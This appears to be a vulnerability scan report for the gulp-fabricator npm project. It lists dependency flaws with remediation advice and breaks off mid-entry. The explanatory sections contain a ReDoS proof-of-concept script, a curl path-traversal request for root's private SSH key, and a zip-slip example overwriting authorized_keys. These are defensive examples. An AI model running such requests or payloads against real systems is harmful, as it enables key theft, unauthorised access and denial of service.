Vulnerabilities

99 via 342 paths

Dependencies

915

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Severity
  • 2
  • 43
  • 52
  • 2
Status
  • 99
  • 0
  • 0

critical severity

Arbitrary Code Execution

  • Vulnerable module: front-matter
  • Introduced through: gulp-sass-lint@1.4.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › front-matter@2.1.2

Overview

front-matter is a package that extracts meta data (front-matter) from documents.

Affected versions of this package are vulnerable to Arbitrary Code Execution due to the default usage of the function yaml.load() of the package js-yaml instead of its secure replacement , yaml.safeLoad().

Remediation

Upgrade front-matter to version 4.0.1 or higher.

References

critical severity

Predictable Value Range from Previous Values

  • Vulnerable module: form-data
  • Introduced through: gulp-htmlhint@3.0.0 and gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › request@2.88.0 › form-data@2.3.3
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › request@2.88.2 › form-data@2.3.3
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › form-data@2.3.3

Overview

Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.

Remediation

Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.

References

high severity

NULL Pointer Dereference

  • Vulnerable module: node-sass
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to NULL Pointer Dereference in the function Sass::Functions::selector_append which could be leveraged by an attacker to cause a denial of service (application crash) or possibly have unspecified other impact. node-sass is affected by this vulnerability due to its bundled usage of libsass.

Remediation

There is no fixed version for node-sass.

References

high severity

Use After Free

  • Vulnerable module: node-sass
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Use After Free via the SharedPtr class in SharedPtr.cpp (or SharedPtr.hpp) that may cause a denial of service (application crash) or possibly have unspecified other impact. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: braces
  • Introduced through: gulp@4.0.2, gulp-nodemon@2.5.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › nodemon@2.0.22 › chokidar@3.6.0 › braces@3.0.3

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the recursive AST walkers, which lack depth guards. An attacker can supply deeply nested brace patterns that stay within the character limit to exhaust the call stack and crash the Node.js process with an uncaught RangeError.

Remediation

There is no fixed version for braces.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: cross-spawn
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › cross-spawn@3.0.1
    Remediation: Upgrade to gulp-sass@5.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

high severity

Infinite loop

  • Vulnerable module: image-size
  • Introduced through: gulp-less@4.0.1

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-less@4.0.1 › less@3.13.1 › image-size@0.5.5
    Remediation: Upgrade to gulp-less@5.0.0.

Overview

Affected versions of this package are vulnerable to Infinite loop in the extractPartialStreams() and corresponding extraction functions for HEIF, JP2, and JXL. An attacker supplying an image whose requested box declares a size of zero can hang the parser indefinitely.

Note: This is a bypass of the fix for the vulnerability described in CVE-2025-71319.

Remediation

Upgrade image-size to version 2.0.3 or higher.

References

high severity

Infinite loop

  • Vulnerable module: image-size
  • Introduced through: gulp-less@4.0.1

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-less@4.0.1 › less@3.13.1 › image-size@0.5.5
    Remediation: Upgrade to gulp-less@5.0.0.

Overview

Affected versions of this package are vulnerable to Infinite loop in icns.js. An ICNS file with an icon entry whose declared length is zero can hang the parser indefinitely.

Remediation

Upgrade image-size to version 2.0.3 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: linkify-it
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › jsdoc@3.6.11 › markdown-it@12.3.2 › linkify-it@3.0.3

Overview

linkify-it is a Links recognition library with FULL unicode support

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the mailto: validator scan-loop on attacker-supplied text. An attacker can cause excessive CPU consumption by submitting specially crafted input that triggers repeated scanning of the remaining text.

Remediation

Upgrade linkify-it to version 5.0.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: linkify-it
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › jsdoc@3.6.11 › markdown-it@12.3.2 › linkify-it@3.0.3

Overview

linkify-it is a Links recognition library with FULL unicode support

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to quadratic algorithmic complexity in the match function. An attacker can exhaust CPU resources and cause significant delays in processing by submitting specially crafted input containing a large number of email-like or link-like strings.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade linkify-it to version 5.0.1 or higher.

References

high severity
new

Unchecked Input for Loop Condition

  • Vulnerable module: markdown-it
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › jsdoc@3.6.11 › markdown-it@12.3.2

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Unchecked Input for Loop Condition via the process_inlines function in src/rules_core/smartquotes.ts when the typographer option is enabled. The smartquotes rule performs a linear scan of the opener stack for every closing quote token, resulting in quadratic time complexity when quote types do not match. An attacker can supply input with a large number of unmatched quote characters to cause a crash through excessive CPU consumption.

Note: This is only exploitable when the typographer: true option is explicitly set, as the default configuration (typographer: false) does not invoke the smartquotes rule.

Remediation

Upgrade markdown-it to version 15.0.2, 14.3.2 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: minimatch
  • Introduced through: gulp-htmlhint@3.0.0, gulp-sass-lint@1.4.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › jshint@2.13.6 › minimatch@3.0.8
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › globule@1.3.4 › minimatch@3.0.8
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › gaze@1.1.3 › globule@1.3.4 › minimatch@3.0.8

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the matchOne function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.

Remediation

Upgrade minimatch to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: gulp-htmlhint@3.0.0, gulp-sass-lint@1.4.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › jshint@2.13.6 › minimatch@3.0.8
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › globule@1.3.4 › minimatch@3.0.8
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › gaze@1.1.3 › globule@1.3.4 › minimatch@3.0.8

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AST class, caused by catastrophic backtracking when an input string contains many * characters in a row, followed by an unmatched character.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.1.3, 4.2.4, 5.1.7, 6.2.1, 7.4.7, 8.0.5, 9.0.6, 10.2.1 or higher.

References

high severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: picomatch
  • Introduced through: gulp-nodemon@2.5.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › nodemon@2.0.22 › chokidar@3.6.0 › anymatch@3.1.3 › picomatch@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › nodemon@2.0.22 › chokidar@3.6.0 › readdirp@3.6.0 › picomatch@2.3.2

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via analyzeRepeatedExtglob in lib/parse.js, which skips single-branch repeated extglob patterns such as +(*) or +(*a). An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for picomatch.

References

high severity

Directory Traversal

  • Vulnerable module: postcss
  • Introduced through: autoprefixer@9.7.4, gulp-postcss@8.0.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › autoprefixer@9.7.4 › postcss@7.0.39
    Remediation: Upgrade to autoprefixer@10.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-postcss@8.0.0 › postcss@7.0.39
    Remediation: Upgrade to gulp-postcss@9.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss@7.0.39
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5 › postcss@7.0.39
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss-less@3.1.4 › postcss@7.0.39

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Directory Traversal via the process function. An attacker can access arbitrary files and obtain the first ~10 bytes of their contents by supplying a crafted sourceMappingURL comment in CSS input, which is parsed and dereferenced without proper validation. This can lead to disclosure of sensitive information, confirmation of file existence, and potential denial of service by targeting large or special files.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade postcss to version 8.5.12 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: postcss
  • Introduced through: autoprefixer@9.7.4, gulp-postcss@8.0.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › autoprefixer@9.7.4 › postcss@7.0.39
    Remediation: Upgrade to autoprefixer@10.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-postcss@8.0.0 › postcss@7.0.39
    Remediation: Upgrade to gulp-postcss@9.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss@7.0.39
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5 › postcss@7.0.39
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss-less@3.1.4 › postcss@7.0.39

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Directory Traversal via the loadMap process. An attacker can access the contents of arbitrary .map files on the filesystem by submitting crafted CSS containing a sourceMappingURL comment with a path traversal or absolute path, which is then loaded and its content merged into the resulting source map returned by the process.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

